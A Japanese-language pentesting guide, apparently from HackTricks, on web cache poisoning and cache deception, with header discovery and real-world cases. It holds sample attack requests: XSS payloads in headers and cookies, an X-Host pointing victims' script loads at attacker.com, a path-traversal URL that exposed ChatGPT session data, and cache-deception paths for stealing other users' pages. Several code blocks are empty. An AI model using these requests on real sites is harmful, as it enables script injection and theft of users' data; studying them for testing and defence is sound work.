# キャッシュポイズニングとキャッシュデセプション {% hint style="success" %} AWSハッキングを学び、実践する：

[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)

\ GCPハッキングを学び、実践する：

[**HackTricks Training GCP Red Team Expert (GRTE)**

](https://training.hacktricks.xyz/courses/grte)

HackTricksをサポートする

* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください！ * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**

{% endhint %}

\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\ 今すぐアクセスを取得： {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} ## 違い > **ウェブキャッシュポイズニングとウェブキャッシュデセプションの違いは何ですか？** > > * **ウェブキャッシュポイズニング**では、攻撃者がアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツが他のアプリケーションユーザーに提供されます。 > * **ウェブキャッシュデセプション**では、攻撃者がアプリケーションに他のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。 ## キャッシュポイズニングキャッシュポイズニングは、クライアント側のキャッシュを操作して、クライアントが予期しない、部分的、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、影響を受けるページの人気に依存し、汚染された応答は、キャッシュ汚染の期間中にページを訪れるユーザーにのみ提供されます。キャッシュポイズニング攻撃の実行には、いくつかのステップが含まれます： 1. **未キー入力の特定**：これらは、リクエストがキャッシュされるために必要ではないが、サーバーが返す応答を変更できるパラメータです。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。 2. **未キー入力の悪用**：未キー入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーの応答を変更するためにこれらのパラメータを誤用する方法を見つけることです。 3. **汚染された応答がキャッシュされることを確認**：最終ステップは、操作された応答がキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染された応答を受け取ります。 ### 発見：HTTPヘッダーを確認通常、応答が**キャッシュに保存された**場合、**それを示すヘッダーが存在します**。どのヘッダーに注意を払うべきかは、この記事で確認できます：[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。 ### 発見：キャッシュエラーコード応答がキャッシュに保存されていると思われる場合、**不正なヘッダーを持つリクエストを送信**してみることができます。これには**ステータスコード400**で応答されるべきです。その後、リクエストに通常アクセスして、**応答が400ステータスコードであれば**、それが脆弱であることがわかります（DoSを実行することも可能です）。さらにオプションを見つけることができます： {% content-ref url="cache-poisoning-to-dos.md" %} [cache-poisoning-to-dos.md](cache-poisoning-to-dos.md) {% endcontent-ref %} ただし、**時にはこれらのステータスコードがキャッシュされないことがある**ため、このテストは信頼できない可能性があります。 ### 発見：未キー入力を特定し評価する [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、**ページの応答を変更する可能性のあるパラメータやヘッダーをブルートフォース**することができます。たとえば、ページが`X-Forwarded-For`ヘッダーを使用して、クライアントにそこからスクリプトを読み込むように指示している場合があります： ```markup ``` ### バックエンドサーバーから有害な応答を引き出すパラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、**どこで**応答に**反映**されているかを確認します。何かを悪用できますか（XSSを実行する、あなたが制御するJSコードを読み込む、DoSを実行する...）？ ### 応答をキャッシュする悪用できる**ページ**、使用する**パラメータ**/**ヘッダー**、および**どのように**悪用するかを**特定**したら、ページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。\ 応答のヘッダー**`X-Cache`**は非常に便利で、リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つ可能性があります。\ ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次にリソースが再キャッシュされるのはいつかを知るために興味深いです：`Cache-Control: public, max-age=1800`\ もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加のヘッダー**を**示すため**に使用されることがよくあります。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用しているユーザーのためにキャッシュを汚染することができます。\ キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。リクエストをキャッシュする際は、使用するヘッダーに**注意してください**。なぜなら、いくつかのヘッダーは**予期せず**に**キー付き**として使用される可能性があり、**被害者はその同じヘッダーを使用する必要がある**からです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。 ## 脆弱性の例 ### 最も簡単な例 `X-Forwarded-For`のようなヘッダーが、サニタイズされずに応答に反映されています。\ 基本的なXSSペイロードを送信し、キャッシュを汚染することで、ページにアクセスするすべての人がXSSされることになります： ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` _Note that this will poison a request to `/en?region=uk` not to `/en`_ ### Cache poisoning to DoS {% content-ref url="cache-poisoning-to-dos.md" %} [cache-poisoning-to-dos.md](cache-poisoning-to-dos.md) {% endcontent-ref %} ### Using web cache poisoning to exploit cookie-handling vulnerabilities クッキーはページのレスポンスに反映されることもあります。これを悪用してXSSを引き起こすことができれば、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを利用できる可能性があります。 ```markup GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` 注意してください、脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストがキャッシュをクリアします。 ### パストラバーサルを使用したキャッシュポイズニングによるAPIキーの盗難 [**このレポートは**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものは、CloudflareがURLを正規化することなくキャッシュされ、リクエストがウェブサーバーに到達したときに行われました。 ### 複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが管理するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指し示す場所を制御できます。 ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` ### 限定された `Vary` ヘッダーを利用した攻撃もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されているが、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を抽出し、その User-Agent を使用してキャッシュを汚染する方法を見つける必要があります。 ```markup GET / HTTP/1.1 Host: vulnerbale.net User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM X-Host: attacker.com ``` ### Fat Get URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディのパラメータを使用します。James KettleがGithubウェブサイトで見つけた脆弱性のように: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com Content-Type: application/x-www-form-urlencoded Content-Length: 22 report=innocent-victim ``` There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) ### パラメータクラッキング例えば、**パラメータ**をrubyサーバーで**`;`**文字を使って**`&`**の代わりに分離することが可能です。これを利用して、キーのないパラメータの値をキーのあるものの中に入れ込み、悪用することができます。 Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) ### HTTPリクエストスムージングを悪用したHTTPキャッシュポイズニングの悪用 [HTTPリクエストスムージングを悪用したキャッシュポイズニング攻撃の実行方法](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)についてここで学びます。 ### ウェブキャッシュポイズニングの自動テスト [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、ウェブキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。使用例: `wcvs -u example.com`

\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)を使用して、世界で最も**高度な**コミュニティツールによってパワーアップされた**ワークフローを簡単に構築し、自動化**します。\ 今すぐアクセスを取得： {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} ## 脆弱な例 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました（フラグメントは無視されます）。したがって、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれておらず、ホスト、パス、クエリのみが含まれていました。 ### GitHub CP-DoS content-typeヘッダーに不正な値を送信すると、405キャッシュレスポンスがトリガーされました。キャッシュキーにはクッキーが含まれていたため、認証されていないユーザーのみを攻撃することが可能でした。 ### GitLab + GCP CP-DoS GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー`x-http-method-override`**をサポートしています。したがって、ヘッダー`x-http-method-override: HEAD`を送信し、キャッシュを毒して空のレスポンスボディを返すことが可能でした。また、`PURGE`メソッドもサポートしていました。 ### Rackミドルウェア（Ruby on Rails） Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。Rackコードの目的は、**`x-forwarded-scheme`**ヘッダーの値を取得し、それをリクエストのスキームとして設定することです。ヘッダー`x-forwarded-scheme: http`が送信されると、同じ場所への301リダイレクトが発生し、そのリソースに対してサービス拒否（DoS）を引き起こす可能性があります。さらに、アプリケーションは`X-forwarded-host`ヘッダーを認識し、指定されたホストにユーザーをリダイレクトする可能性があります。この動作により、攻撃者のサーバーからJavaScriptファイルが読み込まれ、セキュリティリスクが生じる可能性があります。 ### 403とストレージバケット Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、キャッシュされた403レスポンスが返されました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。 ### キー付きパラメータの注入キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン（例：`siz%65`）が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。 ### ユーザーエージェントルール一部の開発者は、FFUFやNucleiなどの高トラフィックツールのユーザーエージェントに一致するリクエストをブロックしてサーバーの負荷を管理します。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。 ### 不正なヘッダーフィールド [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名に許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。特に注目すべき例は、Akamaiが無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュすることです。不正な文字（例：`\`）を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。 ### 新しいヘッダーの発見 [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) ## キャッシュデセプションキャッシュデセプションの目的は、クライアントに**機密情報を持つリソースをキャッシュに保存させること**です。まず、**.css**、**.js**、**.png**などの**拡張子**は通常、**キャッシュに保存されるように**設定されています。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらくレスポンスを保存します。なぜなら、`.js`の**拡張子**を見ているからです。しかし、**アプリケーション**が**機密**のユーザーコンテンツを_www.example.com/profile.php_から再生している場合、他のユーザーからそのコンテンツを**盗む**ことができます。テストする他の項目： * _www.example.com/profile.php/.js_ * _www.example.com/profile.php/.css_ * _www.example.com/profile.php/test.js_ * _www.example.com/profile.php/../test.js_ * _www.example.com/profile.php/%2e%2e/test.js_ * _あまり知られていない拡張子（例：_`.avif`_）を使用する_ 非常に明確な別の例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ この例では、存在しないページ（例：_http://www.example.com/home.php/non-existent.css_）を読み込むと、_http://www.example.com/home.php_（**ユーザーの機密情報を含む**）の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\ その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。 **キャッシュプロキシ**は、ファイルの**拡張子**（_.css_）に基づいてファイルを**キャッシュ**するように**設定されるべき**であり、コンテンツタイプに基づいてはなりません。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。 [HTTPリクエストスムージングを悪用したキャッシュデセプション攻撃の実行方法](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)についてここで学びます。 ## 自動ツール * [**toxicache**](https://github.com/xhzeem/toxicache): URLのリスト内でウェブキャッシュポイズニングの脆弱性を見つけ、複数の注入技術をテストするためのGolangスキャナー。 ## 参考文献 * [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) * [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) * [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712) * [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/) * [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) * [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)